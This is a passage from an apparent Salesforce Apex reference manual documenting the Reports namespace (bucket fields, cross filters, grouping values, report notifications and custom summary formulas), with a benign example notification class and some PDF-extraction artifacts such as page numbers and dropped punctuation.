API name of the bucket.
label

Type: String
User-facing name of the bucket.
nullTreatedAsZero

Type: Boolean
Specifies whether null values are converted to zero (true) or not (false).
otherBucketLabel

Type: String
Name of the fields grouped as Other (in buckets of BucketType PICKLIST).
sourceColumnName

Type: String
Name of the bucketed field.
values

Type: List<Reports.BucketType>
Types of the values included in the bucket.

BucketField()
Creates an instance of the Reports.BucketField class. You can then set values by using the classs set methods.

Signature
public BucketField()

1735

Reference

BucketField Class

BucketField Methods
The following are methods for BucketField.
IN THIS SECTION:
getBucketType()
Returns the bucket type.
getDevloperName()
Returns the buckets API name.
getLabel()
Returns the user-facing name of the bucket.
getNullTreatedAsZero()
Returns true if null values are converted to the number zero, otherwise returns false.
getOtherBucketLabel()
Returns the name of fields grouped as Other in buckets of type PICKLIST.
getSourceColumnName()
Returns the API name of the bucketed field.
getValues()
Returns the report values grouped by the bucket field.
setBucketType(value)
Sets the BucketType of the bucket.
setBucketType(bucketType)
Sets the BucketType of the bucket.
setDevloperName(devloperName)
Sets the API name of the bucket.
setLabel(label)
Sets the user-facing name of the bucket.
setNullTreatedAsZero(nullTreatedAsZero)
Specifies whether null values in the bucket are converted to zero (true) or not (false).
setOtherBucketLabel(otherBucketLabel)
Sets the name of the fields grouped as Other (in buckets of BucketType PICKLIST).
setSourceColumnName(sourceColumnName)
Specifies the name of the bucketed field.
setValues(values)
Specifies which type of values are included in the bucket.
toString()
Returns a string.

getBucketType()
Returns the bucket type.

1736

Reference

BucketField Class

Signature
public Reports.BucketType getBucketType()

Return Value
Type: Reports.BucketType

getDevloperName()
Returns the buckets API name.

Signature
public String getDevloperName()

Return Value
Type: String

getLabel()
Returns the user-facing name of the bucket.

Signature
public String getLabel()

Return Value
Type: String

getNullTreatedAsZero()
Returns true if null values are converted to the number zero, otherwise returns false.

Signature
public Boolean getNullTreatedAsZero()

Return Value
Type: Boolean

getOtherBucketLabel()
Returns the name of fields grouped as Other in buckets of type PICKLIST.

Signature
public String getOtherBucketLabel()

1737

Reference

BucketField Class

Return Value
Type: String

getSourceColumnName()
Returns the API name of the bucketed field.

Signature
public String getSourceColumnName()

Return Value
Type: String

getValues()
Returns the report values grouped by the bucket field.

Signature
public List<Reports.BucketFieldValue> getValues()

Return Value
Type: List on page 2182<Reports.BucketFieldValue>

setBucketType(value)
Sets the BucketType of the bucket.

Signature
public void setBucketType(String value)

Parameters
value

Type: String
See the Reports.BucketType enum for valid values.

Return Value
Type: void

setBucketType(bucketType)
Sets the BucketType of the bucket.

1738

Reference

BucketField Class

Signature
public void setBucketType(Reports.BucketType bucketType)

Parameters
bucketType

Type: Reports.BucketType

Return Value
Type: void

setDevloperName(devloperName)
Sets the API name of the bucket.

Signature
public void setDevloperName(String devloperName)

Parameters
devloperName

Type: String
The API name to assign to the bucket.

Return Value
Type: void

setLabel(label)
Sets the user-facing name of the bucket.

Signature
public void setLabel(String label)

Parameters
label

Type: String

Return Value
Type: void

setNullTreatedAsZero(nullTreatedAsZero)
Specifies whether null values in the bucket are converted to zero (true) or not (false).

1739

Reference

BucketField Class

Signature
public void setNullTreatedAsZero(Boolean nullTreatedAsZero)

Parameters
nullTreatedAsZero

Type: Boolean

Return Value
Type: void

setOtherBucketLabel(otherBucketLabel)
Sets the name of the fields grouped as Other (in buckets of BucketType PICKLIST).

Signature
public void setOtherBucketLabel(String otherBucketLabel)

Parameters
otherBucketLabel

Type: String

Return Value
Type: void

setSourceColumnName(sourceColumnName)
Specifies the name of the bucketed field.

Signature
public void setSourceColumnName(String sourceColumnName)

Parameters
sourceColumnName

Type: String

Return Value
Type: void

setValues(values)
Specifies which type of values are included in the bucket.

1740

Reference

BucketFieldValue Class

Signature
public void setValues(List<Reports.BucketFieldValue> values)

Parameters
values

Type: List on page 2182<Reports.BucketFieldValue>

Return Value
Type: void

toString()
Returns a string.

Signature
public String toString()

Return Value
Type: String

BucketFieldValue Class
Contains information about the report values included in a bucket field.

Namespace
Reports
IN THIS SECTION:
BucketFieldValue Constructors
BucketFieldValue Methods

BucketFieldValue Constructors
The following are constructors for BucketFieldValue.
IN THIS SECTION:
BucketFieldValue(label, sourceDimensionValues, rangeUpperBound)
Creates an instance of the Reports.BucketFieldValue class using the specified parameters.
BucketFieldValue()
Creates an instance of the Reports.BucketFieldValue class. You can then set values by using the classs set methods.

1741

Reference

BucketFieldValue Class

BucketFieldValue(label, sourceDimensionValues, rangeUpperBound)

Creates an instance of the Reports.BucketFieldValue class using the specified parameters.

Signature
public BucketFieldValue(String label, List<String> sourceDimensionValues, Double
rangeUpperBound)

Parameters
label

Type: String
The user-facing name of the bucket.
sourceDimensionValues

Type: List on page 2182<String>

A list of the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type TEXT).
rangeUpperBound

Type: Double
The greatest range limit under which values are included in this bucket category (in buckets of type NUMBER).

BucketFieldValue()
Creates an instance of the Reports.BucketFieldValue class. You can then set values by using the classs set methods.

Signature
public BucketFieldValue()

BucketFieldValue Methods
The following are methods for BucketFieldValue.
IN THIS SECTION:
getLabel()
Returns the user-facing name of the bucket category.
getRangeUpperBound()
Returns the greatest range limit under which values are included in this bucket category (in buckets of type NUMBER).
getSourceDimensionValues()
Returns a list of the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of
type TEXT).
setLabel(label)
Set the user-facing name of the bucket category.
setRangeUpperBound(rangeUpperBound)
Sets the greatest limit of a range under which values are included in this bucket category (in buckets of type NUMBER).

1742

Reference

BucketFieldValue Class

setSourceDimensionValues(sourceDimensionValues)
Specifies the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type
TEXT).
toString()
Returns a string.

getLabel()
Returns the user-facing name of the bucket category.

Signature
public String getLabel()

Return Value
Type: String

getRangeUpperBound()
Returns the greatest range limit under which values are included in this bucket category (in buckets of type NUMBER).

Signature
public Double getRangeUpperBound()

Return Value
Type: Double

getSourceDimensionValues()
Returns a list of the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type
TEXT).

Signature
public List<String> getSourceDimensionValues()

Return Value
Type: List<String>

setLabel(label)
Set the user-facing name of the bucket category.

Signature
public void setLabel(String label)

1743

Reference

BucketFieldValue Class

Parameters
label

Type: String

Return Value
Type: void

setRangeUpperBound(rangeUpperBound)
Sets the greatest limit of a range under which values are included in this bucket category (in buckets of type NUMBER).

Signature
public void setRangeUpperBound(Double rangeUpperBound)

Parameters
rangeUpperBound

Type: Double

Return Value
Type: void

setSourceDimensionValues(sourceDimensionValues)
Specifies the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type TEXT).

Signature
public void setSourceDimensionValues(List<String> sourceDimensionValues)

Parameters
sourceDimensionValues

Type: List<String>

Return Value
Type: void

toString()
Returns a string.

Signature
public String toString()

1744

Reference

BucketType Enum

Return Value
Type: String

BucketType Enum
The types of values included in a bucket.

Enum Values
The following are the values of the Reports.BucketType enum.
Value

Description

NUMBER

Numeric values

PICKLIST

Picklist values

TEXT

String values

ColumnDataType Enum
The Reports.ColumnDataType enum describes the type of data in a column. It is returned by the getDataType method.

Namespace
Reports

Enum Values
The following are the values of the Reports.ColumnDataType enum.
Value

Description

BOOLEAN_DATA

Boolean (true or false) values

COMBOBOX_DATA

Comboboxes, which provide a set of enumerated values and enable the user to
specify a value that is not in the list

CURRENCY_DATA

Currency values

DATETIME_DATA

DateTime values

DATE_DATA

Date values

DOUBLE_DATA

Double values

EMAIL_DATA

Email addresses

ID_DATA

An objects Salesforce ID

INT_DATA

Integer values

1745

Reference

ColumnSortOrder Enum

Value

Description

MULTIPICKLIST_DATA

Multi-select picklists, which provide a set of enumerated values from which multiple
values can be selected

PERCENT_DATA

Percent values

PHONE_DATA

Phone numbers. Values can include alphabetic characters. Client applications are
responsible for phone number formatting.

PICKLIST_DATA

Single-select picklists, which provide a set of enumerated values from which only
one value can be selected

REFERENCE_DATA

Cross-references to another object, analogous to a foreign key field

STRING_DATA

String values

TEXTAREA_DATA

String values that are displayed as multiline text fields

TIME_DATA

Time values

URL_DATA

URL values that are displayed as hyperlinks

ColumnSortOrder Enum
The Reports.ColumnSortOrder enum describes the order that the grouping column uses to sort data.

Namespace
Reports

Usage
The GroupingInfo.getColumnSortOrder() method returns a Reports.ColumnSortOrder enum value. The
GroupingInfo.setColumnSortOrder() method takes the enum value as an argument.

Enum Values
The following are the values of the Reports.ColumnSortOrder enum.
Value

Description

ASCENDING

Sort data in ascending order (AZ)

DESCENDING

Sort data in descending order (ZA)

CrossFilter Class
Contains methods and constructors used to work with information about a cross filter.

1746

Reference

CrossFilter Class

Namespace
Reports
IN THIS SECTION:
CrossFilter Constructors
CrossFilter Methods

CrossFilter Constructors
The following are constructors for CrossFilter.
IN THIS SECTION:
CrossFilter(criteria, includesObject, primaryEntityField, relatedEntity, relatedEntityJoinField)
Creates an instance of the Reports.CrossFilter class using the specified parameters.
CrossFilter()
Creates an instance of the Reports.CrossFilter class. You can then set values by using the classs set methods.

CrossFilter(criteria, includesObject, primaryEntityField, relatedEntity,

relatedEntityJoinField)
Creates an instance of the Reports.CrossFilter class using the specified parameters.

Signature
public CrossFilter(List<Reports.ReportFilter> criteria, Boolean includesObject, String
primaryEntityField, String relatedEntity, String relatedEntityJoinField)

Parameters
criteria

Type: List<Reports.ReportFilter>
Information about how to filter the relatedEntity. Relates the primary entity with a subset of the relatedEntity.
includesObject

Type: Boolean
Specifies whether objects returned have a relationship with the relatedEntity (true) or not (false).
primaryEntityField

Type: String
The name of the object on which the cross filter is evaluated.
relatedEntity

Type: String
The name of the object that the primaryEntityField is evaluated againstthe right-hand side of the cross filter.
relatedEntityJoinField

Type: String

1747

Reference

CrossFilter Class

The name of the field used to join the primaryEntityField and relatedEntity.

CrossFilter()
Creates an instance of the Reports.CrossFilter class. You can then set values by using the classs set methods.

Signature
public CrossFilter()

CrossFilter Methods
The following are methods for CrossFilter.
IN THIS SECTION:
getCriteria()
Returns information about how to filter the relatedEntity. Describes the subset of the relatedEntity which the primary
entity is evaluated against.
getIncludesObject()
Returns true if primary object has a relationship with the relatedEntity, otherwise returns false.
getPrimaryEntityField()
Returns the name of the object on which the cross filter is evaluated.
getRelatedEntity()
Returns name of the object that the primaryEntityField is evaluated againstthe right-hand side of the cross filter.
getRelatedEntityJoinField()
Returns the name of the field used to join the primaryEntityField and relatedEntity.
setCriteria(criteria)
Specifis how to filter the relatedEntity. Relates the primary entity with a subset of the relatedEntity.
setIncludesObject(includesObject)
Specifies whether objects returned have a relationship with the relatedEntity (true) or not (false).
setPrimaryEntityField(primaryEntityField)
Specifies the name of the object on which the cross filter is evaluated.
setRelatedEntity(relatedEntity)
Specifies the name of the object that the primaryEntityField is evaluated againstthe right-hand side of the cross filter.
setRelatedEntityJoinField(relatedEntityJoinField)
Specifies the name of the field used to join the primaryEntityField and relatedEntity.
toString()
Returns a string.

getCriteria()
Returns information about how to filter the relatedEntity. Describes the subset of the relatedEntity which the primary
entity is evaluated against.

1748

Reference

CrossFilter Class

Signature
public List<Reports.ReportFilter> getCriteria()

Return Value
Type: List<Reports.ReportFilter>

getIncludesObject()
Returns true if primary object has a relationship with the relatedEntity, otherwise returns false.

Signature
public Boolean getIncludesObject()

Return Value
Type: Boolean

getPrimaryEntityField()
Returns the name of the object on which the cross filter is evaluated.

Signature
public String getPrimaryEntityField()

Return Value
Type: String

getRelatedEntity()
Returns name of the object that the primaryEntityField is evaluated againstthe right-hand side of the cross filter.

Signature
public String getRelatedEntity()

Return Value
Type: String

getRelatedEntityJoinField()
Returns the name of the field used to join the primaryEntityField and relatedEntity.

Signature
public String getRelatedEntityJoinField()

1749

Reference

CrossFilter Class

Return Value
Type: String

setCriteria(criteria)
Specifis how to filter the relatedEntity. Relates the primary entity with a subset of the relatedEntity.

Signature
public void setCriteria(List<Reports.ReportFilter> criteria)

Parameters
criteria

Type: List<Reports.ReportFilter>

Return Value
Type: void

setIncludesObject(includesObject)
Specifies whether objects returned have a relationship with the relatedEntity (true) or not (false).

Signature
public void setIncludesObject(Boolean includesObject)

Parameters
includesObject

Type: Boolean

Return Value
Type: void

setPrimaryEntityField(primaryEntityField)
Specifies the name of the object on which the cross filter is evaluated.

Signature
public void setPrimaryEntityField(String primaryEntityField)

Parameters
primaryEntityField

Type: String

1750

Reference

CrossFilter Class

Return Value
Type: void

setRelatedEntity(relatedEntity)
Specifies the name of the object that the primaryEntityField is evaluated againstthe right-hand side of the cross filter.

Signature
public void setRelatedEntity(String relatedEntity)

Parameters
relatedEntity

Type: String

Return Value
Type: void

setRelatedEntityJoinField(relatedEntityJoinField)
Specifies the name of the field used to join the primaryEntityField and relatedEntity.

Signature
public void setRelatedEntityJoinField(String relatedEntityJoinField)

Parameters
relatedEntityJoinField

Type: String

Return Value
Type: void

toString()
Returns a string.

Signature
public String toString()

Return Value
Type: String

1751

Reference

CsfGroupType Enum

CsfGroupType Enum
The group level at which the custom summary format aggregate is displayed in a report.

Enum Values
The following are the values of the Reports.CsfGroupType enum.
Value

Description

ALL

The aggregate is displayed at the end of every summary row.

CUSTOM

The aggregate is displayed at specified grouping levels.

GRAND_TOTAL

The aggregate is displayed only at the grand total level.

DateGranularity Enum
The Reports.DateGranularity enum describes the date interval that is used for grouping.

Namespace
Reports

Usage
The GroupingInfo.getDateGranularity method returns a Reports.DateGranularity enum value. The
GroupingInfo.setDateGranularity method takes the enum value as an argument.

Enum Values
The following are the values of the Reports.DateGranularity enum.
Value

Description

DAY

The day of the week (MondaySunday)

DAY_IN_MONTH

The day of the month (131)

FISCAL_PERIOD

The fiscal period

FISCAL_QUARTER

The fiscal quarter

FISCAL_WEEK

The fiscal week

FISCAL_YEAR

The fiscal year

MONTH

The month (JanuaryDecember)

MONTH_IN_YEAR

The month number (112)

NONE

No date grouping

1752

Reference

DetailColumn Class

Value

Description

QUARTER

The quarter number (14)

WEEK

The week number (152)

YEAR

The year number (####)

DetailColumn Class
Contains methods for describing fields that contain detailed data. Detailed data fields are also listed in the report metadata.

Namespace
Reports

DetailColumn Instance Methods

The following are instance methods for DetailColumn. All are instance methods.
IN THIS SECTION:
getName()
Returns the unique API name of the detail column field.
getLabel()
Returns the localized display name of a standard field, the ID of a custom field, or the API name of a bucket field that has detailed
data.
getDataType()
Returns the data type of a detail column field.

getName()
Returns the unique API name of the detail column field.

Syntax
public String getName()

Return Value
Type: String

getLabel()
Returns the localized display name of a standard field, the ID of a custom field, or the API name of a bucket field that has detailed data.

Syntax
public String getLabel()

1753

Reference

Dimension Class

Return Value
Type: String

getDataType()
Returns the data type of a detail column field.

Syntax
public Reports.ColumnDataType getDataType()

Return Value
Type: Reports.ColumnDataType

Dimension Class
Contains information for each row or column grouping.

Namespace
Reports

Dimension Methods
The following are methods for Dimension. All are instance methods.
IN THIS SECTION:
getGroupings()
Returns information for each row or column grouping as a list.

getGroupings()
Returns information for each row or column grouping as a list.

Syntax
public List<Reports.GroupingValue> getGroupings()

Return Value
Type: List<Reports.GroupingValue>

EvaluatedCondition Class
Contains the individual components of an evaluated condition for a report notification, such as the aggregate name and label, the
operator, and the value that the aggregate is compared to.

1754

Reference

EvaluatedCondition Class

Namespace
Reports
IN THIS SECTION:
EvaluatedCondition Constructors
EvaluatedCondition Methods

EvaluatedCondition Constructors
The following are constructors for EvaluatedCondition.
IN THIS SECTION:
EvaluatedCondition(aggregateName, aggregateLabel, compareToValue, aggregateValue, operator)
Creates a new instance of the Reports.EvaluatedConditions class using the specified parameters.

EvaluatedCondition(aggregateName, aggregateLabel, compareToValue,

aggregateValue, operator)
Creates a new instance of the Reports.EvaluatedConditions class using the specified parameters.

Signature
public EvaluatedCondition(String aggregateName, String aggregateLabel, Double
compareToValue, Double aggregateValue, Reports.EvaluatedConditionOperator operator)

Parameters
aggregateName

Type: String
The unique API name of the aggregate.
aggregateLabel

Type: String
The localized display name of the aggregate.
compareToValue

Type: Double
The value that the aggregate is compared to in the condition.
aggregateValue

Type: Double
The actual value of the aggregate when the report is run.
operator

Type: Reports.EvaluatedConditionOperator
The operator used in the condition.

1755

Reference

EvaluatedCondition Class

EvaluatedCondition Methods
The following are methods for EvaluatedCondition.
IN THIS SECTION:
getAggregateLabel()
Returns the localized display name of the aggregate.
getAggregateName()
Returns the unique API name of the aggregate.
getCompareTo()
Returns the value that the aggregate is compared to in the condition.
getOperator()
Returns the operator used in the condition.
getValue()
Returns the actual value of the aggregate when the report is run.

getAggregateLabel()
Returns the localized display name of the aggregate.

Signature
public String getAggregateLabel()

Return Value
Type: String

getAggregateName()
Returns the unique API name of the aggregate.

Signature
public String getAggregateName()

Return Value
Type: String

getCompareTo()
Returns the value that the aggregate is compared to in the condition.

Signature
public Double getCompareTo()

1756

Reference

EvaluatedConditionOperator Enum

Return Value
Type: Double

getOperator()
Returns the operator used in the condition.

Signature
public Reports.EvaluatedConditionOperator getOperator()

Return Value
Type: Reports.EvaluatedConditionOperator

getValue()
Returns the actual value of the aggregate when the report is run.

Signature
public Double getValue()

Return Value
Type: Double

EvaluatedConditionOperator Enum
The Reports.EvaluatedConditionOperator enum describes the type of operator used to compare an aggregate to a
value. It is returned by the getOperator method.

Namespace
Reports

Enum Values
The following are the values of the Reports.EvaluatedConditionOperator enum.
Value

Description

EQUAL

Equality operator.

GREATER_THAN

Greater than operator.

GREATER_THAN_EQUAL

Greater than or equal to operator.

LESS_THAN

Less than operator.

LESS_THAN_EQUAL

Less than or equal to operator.

1757

Reference

FilterOperator Class

Value

Description

NOT_EQUAL

Inequality operator.

FilterOperator Class
Contains information about a filter operator, such as display name and API name.

Namespace
Reports

FilterOperator Methods
The following are methods for FilterOperator. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the localized display name of the filter operator. Possible values for this name are restricted based on the data type of the
column being filtered.
getName()
Returns the unique API name of the filter operator. Possible values for this name are restricted based on the data type of the column
being filtered. For example multipicklist fields can use the following filter operators: equals, not equal to, includes, and
excludes. Bucket fields are considered to be of the String type.

getLabel()
Returns the localized display name of the filter operator. Possible values for this name are restricted based on the data type of the column
being filtered.

Syntax
public String getLabel()

Return Value
Type: String

getName()
Returns the unique API name of the filter operator. Possible values for this name are restricted based on the data type of the column
being filtered. For example multipicklist fields can use the following filter operators: equals, not equal to, includes, and
excludes. Bucket fields are considered to be of the String type.

Syntax
public String getName()

1758

Reference

FilterValue Class

Return Value
Type: String

FilterValue Class
Contains information about a filter value, such as the display name and API name.

Namespace
Reports

FilterValue Methods
The following are methods for FilterValue. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the localized display name of the filter value. Possible values for this name are restricted based on the data type of the column
being filtered.
getName()
Returns the unique API name of the filter value. Possible values for this name are restricted based on the data type of the column
being filtered.

getLabel()
Returns the localized display name of the filter value. Possible values for this name are restricted based on the data type of the column
being filtered.

Syntax
public String getLabel()

Return Value
Type: String

getName()
Returns the unique API name of the filter value. Possible values for this name are restricted based on the data type of the column being
filtered.

Syntax
public String getName()

Return Value
Type: String

1759

Reference

FormulaType Enum

FormulaType Enum
The format of the numbers in a custom summary formula.

Enum Values
The following are the values of the Reports.FormulaType enum.
Value

Description

CURRENCY

Formatted as currency. For example, $100.00.

NUMBER

Formatted as numbers. For example, 100.

PERCENT

Formatted as percentages. For example, 100%.

GroupingColumn Class
Contains methods for describing fields that are used for column grouping.

Namespace
Reports
The GroupingColumn class provides basic information about column grouping fields. The GroupingInfo class includes
additional methods for describing and updating grouping fields.

GroupingColumn Methods
The following are methods for GroupingColumn. All are instance methods.
IN THIS SECTION:
getName()
Returns the unique API name of the field or bucket field that is used for column grouping.
getLabel()
Returns the localized display name of the field that is used for column grouping.
getDataType()
Returns the data type of the field that is used for column grouping.
getGroupingLevel()
Returns the level of grouping for the column.

getName()
Returns the unique API name of the field or bucket field that is used for column grouping.

Syntax
public String getName()

1760

Reference

GroupingInfo Class

Return Value
Type: String

getLabel()
Returns the localized display name of the field that is used for column grouping.

Syntax
public String getLabel()

Return Value
Type: String

getDataType()
Returns the data type of the field that is used for column grouping.

Syntax
public Reports.ColumnDataType getDataType()

Return Value
Type: Reports.ColumnDataType

getGroupingLevel()
Returns the level of grouping for the column.

Syntax
public Integer getGroupingLevel()

Return Value
Type: Integer

Usage
In a summary report, 0, 1, or 2 indicates grouping at the first, second, or third row level.
In a matrix report, 0 or 1 indicates grouping at the first or second row or column level.

GroupingInfo Class
Contains methods for describing fields that are used for grouping.

1761

Reference

GroupingInfo Class

Namespace
Reports

GroupingInfo Methods
The following are methods for GroupingInfo. All are instance methods.
IN THIS SECTION:
getName()
Returns the unique API name of the field or bucket field that is used for row or column grouping.
getSortOrder()
Returns the order that is used to sort data in a row or column grouping (ASCENDING or DESCENDING).
getDateGranularity()
Returns the date interval that is used for row or column grouping.
getSortAggregate()
Returns the summary field that is used to sort data within a grouping in a summary report. The value is null when data within a
grouping is not sorted by a summary field.

getName()
Returns the unique API name of the field or bucket field that is used for row or column grouping.

Syntax
public String getName()

Return Value
Type: String

getSortOrder()
Returns the order that is used to sort data in a row or column grouping (ASCENDING or DESCENDING).

Syntax
public Reports.ColumnSortOrder getSortOrder()

Return Value
Type: Reports.ColumnSortOrder

getDateGranularity()
Returns the date interval that is used for row or column grouping.

1762

Reference

GroupingValue Class

Syntax
public Reports.DateGranularity getDateGranularity()

Return Value
Type: Reports.DateGranularity

getSortAggregate()
Returns the summary field that is used to sort data within a grouping in a summary report. The value is null when data within a grouping
is not sorted by a summary field.

Syntax
public String getSortAggregate()

Return Value
Type: String

GroupingValue Class
Contains grouping values for a row or column, including the key, label, and value.

Namespace
Reports

GroupingValue Methods
The following are methods for GroupingValue. All are instance methods.
IN THIS SECTION:
getGroupings()
Returns a list of second- or third-level row or column groupings. If there are none, the value is an empty array.
getKey()
Returns the unique identifier for a row or column grouping. The identifier is used by the fact map to specify data values within each
grouping.
getLabel()
Returns the localized display name of a row or column grouping. For date and time fields, the label is the localized date or time.
getValue()
Returns the value of the field that is used as a row or column grouping.

getGroupings()
Returns a list of second- or third-level row or column groupings. If there are none, the value is an empty array.

1763

Reference

GroupingValue Class

Syntax
public LIST<Reports.GroupingValue> getGroupings()

Return Value
Type: List<Reports.GroupingValue>

getKey()
Returns the unique identifier for a row or column grouping. The identifier is used by the fact map to specify data values within each
grouping.

Syntax
public String getKey()

Return Value
Type: String

getLabel()
Returns the localized display name of a row or column grouping. For date and time fields, the label is the localized date or time.

Syntax
public String getLabel()

Return Value
Type: String

getValue()
Returns the value of the field that is used as a row or column grouping.

Syntax
public Object getValue()

Return Value
Type: Object

Usage
The value depends on the fields data type.
Currency fields:
amount: Of type currency. A data cells value.

1764

Reference

NotificationAction Interface

currency: Of type picklist. The ISO 4217 currency code, if available; for example, USD for US dollars or CNY for Chinese yuan.
(If the grouping is on the converted currency, this value is the currency code for the report and not for the record.)
Picklist fields: API name. For example, a custom picklist fieldType of Business with values 1, 2, and 3 for Consulting,
Services, and Add-On Business respectivelyhas 1, 2, or 3 as the grouping value.
ID fields: API name.
Record type fields: API name.
Date and time fields: Date or time in ISO-8601 format.
Lookup fields: Unique API name. For example, for the Opportunity Owner lookup field, the ID of each opportunity owners
Chatter profile page can be a grouping value.

NotificationAction Interface
Implement this interface to trigger a custom Apex class when the conditions for a report notification are met.

Namespace
Reports

Usage
Report notifications for reports that users have subscribed to can trigger a custom Apex class, which must implement the
Reports.NotificationAction interface. The execute method in this interface receives a
NotificationActionContext object as a parameter, which contains information about the report instance and the conditions
that must be met for a notification to be triggered.
IN THIS SECTION:
NotificationAction Methods
NotificationAction Example Implementation

NotificationAction Methods
The following are methods for NotificationAction.
IN THIS SECTION:
execute(context)
Executes the custom Apex action specified in the context parameter of the context object, NotificationActionContext.
The object contains information about the report instance and the conditions that must be met for a notification to be triggered.
The method executes whenever the specified conditions are met.

execute(context)
Executes the custom Apex action specified in the context parameter of the context object, NotificationActionContext.
The object contains information about the report instance and the conditions that must be met for a notification to be triggered. The
method executes whenever the specified conditions are met.

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Reference

NotificationActionContext Class

Signature
public void execute(Reports.NotificationActionContext context)

Parameters
context

Type: Reports.NotificationActionContext

Return Value
Type: Void

NotificationAction Example Implementation

This is an example implementation of the Reports.NotificationAction interface.
public class AlertOwners implements Reports.NotificationAction {
public void execute(Reports.NotificationActionContext context) {
Reports.ReportResults results = context.getReportInstance().getReportResults();
for(Reports.GroupingValue g: results.getGroupingsDown().getGroupings()) {
FeedItem t = new FeedItem();
t.ParentId = (Id)g.getValue();
t.Body = 'This record needs attention. Please view the report.';
t.Title = 'Needs Attention: '+ results.getReportMetadata().getName();
t.LinkUrl = '/' + results.getReportMetadata().getId();
insert t;
}
}
}

NotificationActionContext Class
Contains information about the report instance and condition threshold for a report notification.

Namespace
Reports
IN THIS SECTION:
NotificationActionContext Constructors
NotificationActionContext Methods

NotificationActionContext Constructors
The following are constructors for NotificationActionContext.

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Reference

NotificationActionContext Class

IN THIS SECTION:
NotificationActionContext(reportInstance, thresholdInformation)
Creates a new instance of the Reports.NotificationActionContext class using the specified parameters.

NotificationActionContext(reportInstance, thresholdInformation)
Creates a new instance of the Reports.NotificationActionContext class using the specified parameters.

Signature
public NotificationActionContext(Reports.ReportInstance reportInstance,
Reports.ThresholdInformation thresholdInformation)

Parameters
reportInstance

Type: Reports.ReportInstance
An instance of a report.
thresholdInformation

Type: Reports.ThresholdInformation
The evaluated conditions for the notification.

NotificationActionContext Methods
The following are methods for NotificationActionContext.
IN THIS SECTION:
getReportInstance()
Returns the report instance associated with the notification.
getThresholdInformation()
Returns the threshold information associated with the notification.

getReportInstance()
Returns the report instance associated with the notification.

Signature
public Reports.ReportInstance getReportInstance()

Return Value
Type: Reports.ReportInstance

getThresholdInformation()
Returns the threshold information associated with the notification.

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Reference

ReportCsf Class

Signature
public Reports.ThresholdInformation getThresholdInformation()

Return Value
Type: Reports.ThresholdInformation

ReportCsf Class
Contains methods and constructors for working with information about a custom summary formula (CSF).

Namespace
Reports
IN THIS SECTION:
ReportCsf Constructors
ReportCsf Methods

ReportCsf Constructors
The following are constructors for ReportCsf.
IN THIS SECTION:
ReportCsf(label, description, formulaType, decimalPlaces, downGroup, downGroupType, acrossGroup, acrossGroupType, formula)
Creates an instance of the Reports.ReportCsf class using the specified parameters.
ReportCsf()
Creates an instance of the Reports.ReportCsf class. You can then set values by using the classs set methods.

ReportCsf(label, description, formulaType, decimalPlaces, downGroup,

downGroupType, acrossGroup, acrossGroupType, formula)
Creates an instance of the Reports.ReportCsf class using the specified parameters.

Signature
public ReportCsf(String label, String description, Reports.FormulaType formulaType,
Integer decimalPlaces, String downGroup, Reports.CsfGroupType downGroupType, String
acrossGroup, Reports.CsfGroupType acrossGroupType, String formula)

Parameters
label

Type: String
The user-facing name of the custom summary formula.

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Reference

ReportCsf Class

description

Type: String
The user-facing description of the custom summary formula.
formulaType

Type: Reports.FormulaType
The format of the numbers in the custom summary formula.
decimalPlaces

Type: Integer
The number of decimal places to include in numbers.
downGroup

Type: String
The name of a row grouping when the downGroupType is CUSTOM; null otherwise.
downGroupType

Type: Reports.CsfGroupType
Where to display the aggregate of the custom summary formula.
acrossGroup

Type: String
The name of a column grouping when the accrossGroupType is CUSTOM; null otherwise.
acrossGroupType

Type: Reports.CsfGroupType
Where to display the aggregate of the custom summary formula.
formula

Type: String
The operations performed on values in the custom summary formula.

ReportCsf()
Creates an instance of the Reports.ReportCsf class. You can then set values by using the classs set methods.

Signature
public ReportCsf()

ReportCsf Methods
The following are methods for ReportCsf.
IN THIS SECTION:
getAcrossGroup()
Returns the name of a column grouping when the acrossGroupType is CUSTOM. Otherwise, returns null.
getAcrossGroupType()
Returns where to display the aggregate.

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Reference

ReportCsf Class

getDecimalPlaces()
Returns the number of decimal places that numbers in the custom summary formula have.
getDescription()
Returns the user-facing description of a custom summary formula.
getDownGroup()
Returns the name of a row grouping when the downGroupType is CUSTOM. Otherwise, returns null.
getDownGroupType()
Returns where to display the aggregate of the custom summary formula.
getFormula()
Returns the operations performed on values in the custom summary formula.
getFormulaType()
Returns the formula type.
getLabel()
Returns the user-facing name of the custom summary formula.
setAcrossGroup(acrossGroup)
Specifies the column for the across grouping.
setAcrossGroupType(value)
Sets where to display the aggregate.
setAcrossGroupType(acrossGroupType)
Sets where to display the aggregate.
setDecimalPlaces(decimalPlaces)
Sets the number of decimal places in numbers.
setDescription(description)
Sets the user-facing description of the custom summary formula.
setDownGroup(downGroup)
Sets the name of a row grouping when the downGroupType is CUSTOM.
setDownGroupType(value)
Sets where to display the aggregate.
setDownGroupType(downGroupType)
Sets where to display the aggregate.
setFormula(formula)
Sets the operations to perform on values in the custom summary formula.
setFormulaType(value)
Sets the format of the numbers in the custom summary formula.
setFormulaType(formulaType)
Sets the format of numbers used in the custom summary formula.
setLabel(label)
Sets the user-facing name of the custom summary formula.
toString()
Returns a string.

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Reference

ReportCsf Class

getAcrossGroup()
Returns the name of a column grouping when the acrossGroupType is CUSTOM. Otherwise, returns null.

Signature
public String getAcrossGroup()

Return Value
Type: String

getAcrossGroupType()
Returns where to display the aggregate.

Signature
public Reports.CsfGroupType getAcrossGroupType()

Return Value
Type: Reports.CsfGroupType

getDecimalPlaces()
Returns the number of decimal places that numbers in the custom summary formula have.

Signature
public Integer getDecimalPlaces()

Return Value
Type: Integer

getDescription()
Returns the user-facing description of a custom summary formula.

Signature
public String getDescription()

Return Value
Type: String

getDownGroup()
Returns the name of a row grouping when the downGroupType is CUSTOM. Otherwise, returns null.

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Reference

ReportCsf Class

Signature
public String getDownGroup()

Return Value
Type: String

getDownGroupType()
Returns where to display the aggregate of the custom summary formula.

Signature
public Reports.CsfGroupType getDownGroupType()

Return Value
Type: Reports.CsfGroupType

getFormula()
Returns the operations performed on values in the custom summary formula.

Signature
public String getFormula()

Return Value
Type: String

getFormulaType()
Returns the formula type.

Signature
